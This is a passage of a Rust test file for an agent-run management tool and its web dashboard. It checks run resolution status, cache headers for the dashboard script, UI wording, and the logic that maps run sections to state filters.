9963 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
9964 q.put(&mut t1).expect("put");
9965 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
9966 assert_eq!(view1["latest_attempt"]["resolved"], false);
9967
9968 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
9973 write_run(&runs, noop_a, RunStatus::Blocked);
9974 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
9975 let mut t2 = Task::new(
9976 "claims done".to_owned(),
9977 "do it".to_owned(),
9978 PathBuf::from("/repo"),
9979 Source::Human,
9980 );
9981 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
9982 q.put(&mut t2).expect("put");
9983 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
9984 assert_eq!(
9985 view2["latest_attempt"]["resolved"], false,
9986 "an unverified no-op claim must not read as a confirmed finish"
9987 );
9988
9989 assert!(APP_JS.contains("latest.resolved"));
9992 }
9993
9994 #[tokio::test]
9995 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
9996 let fx = Fixture::start().await;
9997 let js = fx.get("/app.js").await;
10003 assert_eq!(js.status, 200);
10004 let tag = js
10005 .header("etag")
10006 .expect("an etag to revalidate against")
10007 .to_owned();
10008 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
10009 assert_eq!(
10010 js.header("cache-control"),
10011 Some("no-cache, must-revalidate"),
10012 "the phone has to ask every time"
10013 );
10014
10015 let again = fx
10018 .get_with("/app.js", &[("if-none-match", tag.as_str())])
10019 .await;
10020 assert_eq!(
10021 again.status, 304,
10022 "a deck it already has costs one round trip"
10023 );
10024 assert!(again.body.is_empty(), "304 carries no body");
10025
10026 let weak = fx
10029 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
10030 .await;
10031 assert_eq!(weak.status, 304);
10032 let stale = fx
10033 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
10034 .await;
10035 assert_eq!(stale.status, 200, "an older build must be replaced");
10036 assert!(stale.body.contains("renderRunActions"));
10037 }
10038
10039 #[test]
10040 fn the_deck_never_sends_the_operator_to_a_terminal() {
10041 assert!(
10044 !APP_JS.contains("Run `magi fold` first"),
10045 "the deck must offer the fold, not prescribe a shell command"
10046 );
10047 assert!(APP_JS.contains("foldRun:"));
10048 assert!(APP_JS.contains("resumeRun:"));
10049 assert!(APP_JS.contains("renderRunActions"));
10050
10051 assert!(APP_JS.contains("armedFold"));
10053 assert!(APP_JS.contains("Yes, fold worktrees"));
10054
10055 assert!(APP_JS.contains("can no longer be resumed"));
10058 }
10059
10060 #[test]
10061 fn a_finished_run_explains_itself_with_its_own_last_line() {
10062 assert!(
10068 !APP_JS.contains("collapsed on agent quota"),
10069 "a stall must not be explained by a cause the deck did not check"
10070 );
10071 assert!(
10072 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
10073 "and a block must not offer a guess with an `or` in it"
10074 );
10075
10076 assert!(
10080 APP_JS.contains("setText(r.event, run.event || \"\")"),
10081 "the run's last line is rendered unconditionally"
10082 );
10083 assert!(
10084 !APP_JS.contains("moving && run.event"),
10085 "and never gated on the run still moving"
10086 );
10087
10088 assert!(APP_JS.contains("lost to quota"));
10090 }
10091
10092 #[test]
10114 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
10115 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
10116 let shapes_body_start =
10117 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
10118 let shapes_close = APP_JS[shapes_body_start..]
10119 .find("].map(")
10120 .expect("the shape list is closed by its done-computing .map(...)")
10121 + shapes_body_start;
10122 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
10123
10124 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
10125 for entry in shapes_src.split('{').skip(1) {
10126 let waiting = entry.contains("waiting: true");
10127 let dead = entry.contains("live: \"dead\"");
10128 let status_at =
10129 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
10130 let status_end = entry[status_at..]
10131 .find('"')
10132 .expect("the status string is closed")
10133 + status_at;
10134 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
10135 }
10136 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
10137
10138 let done_rule_marker = "done: !";
10142 let done_rule_at = APP_JS[shapes_close..]
10143 .find(done_rule_marker)
10144 .expect("the done rule follows the shape list")
10145 + shapes_close
10146 + done_rule_marker.len();
10147 let includes_at = APP_JS[done_rule_at..]
10148 .find(".includes(shape.status)")
10149 .expect("the done rule ends in .includes(shape.status)")
10150 + done_rule_at;
10151 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
10152 .trim()
10153 .trim_start_matches('[')
10154 .trim_end_matches(']')
10155 .split(',')
10156 .map(|s| s.trim().trim_matches('"'))
10157 .filter(|s| !s.is_empty())
10158 .collect();
10159
10160 let shapes: Vec<(bool, String, bool, bool)> = shapes
10161 .into_iter()
10162 .map(|(waiting, status, dead)| {
10163 let done = !not_done.contains(&status.as_str());
10164 (waiting, status, dead, done)
10165 })
10166 .collect();
10167
10168 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
10172 if waiting {
10173 return "waiting";
10174 }
10175 if dead
10176 && !matches!(
10177 status,
10178 "merged"
10179 | "ready"
10180 | "stalled"
10181 | "blocked"
10182 | "failed"
10183 | "verified_noop"
10184 | "superseded"
10185 )
10186 {
10187 return "stale";
10188 }
10189 match status {
10190 "merged" | "ready" => "landed",
10191 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded" => "ended",
10192 _ => "flight",
10193 }
10194 }
10195
10196 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
10199 match filter_key {
10200 "active" => !done,
10201 "flight" => !done && !waiting && !dead,
10202 "stale" => !done && !waiting && dead,
10203 "waiting" => waiting,
10204 "done" => done,
10205 "all" => true,
10206 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
10207 }
10208 }
10209
10210 let compatible = |section: &str, filter_key: &str| {
10211 shapes.iter().any(|(waiting, status, dead, done)| {
10212 run_section(*waiting, status, *dead) == section
10213 && filter_matches(filter_key, *waiting, *dead, *done)
10214 })
10215 };
10216
10217 let expected = [
10222 ("waiting", [true, false, false, true, true, true]),
10223 ("stale", [true, false, true, false, false, true]),
10224 ("flight", [true, true, false, false, false, true]),
10225 ("landed", [false, false, false, false, true, true]),
10226 ("ended", [false, false, false, false, true, true]),
10227 ];
10228 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
10229
10230 for (section, wants) in expected {
10231 for (filter_key, want) in filter_keys.iter().zip(wants) {
10232 assert_eq!(
10233 compatible(section, filter_key),
10234 want,
10235 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
10236 );
10237 }
10238 }
10239
10240 assert!(
10243 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
10244 );
10245 assert!(APP_JS.contains(
10246 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
10247 ));
10248 assert!(APP_JS.contains(
10249 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
10250 ));
10251 }
10252
10253 #[tokio::test]
10254 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
10255 let dir = tempfile::tempdir().expect("tempdir");
10259 let explicit = dir.path().join("not-a-checkout");
10260 std::fs::create_dir_all(&explicit).expect("create dir");
10261 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
10262
10263 let missing = dir.path().join("does-not-exist-at-all");
10264 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
10265 }
10266}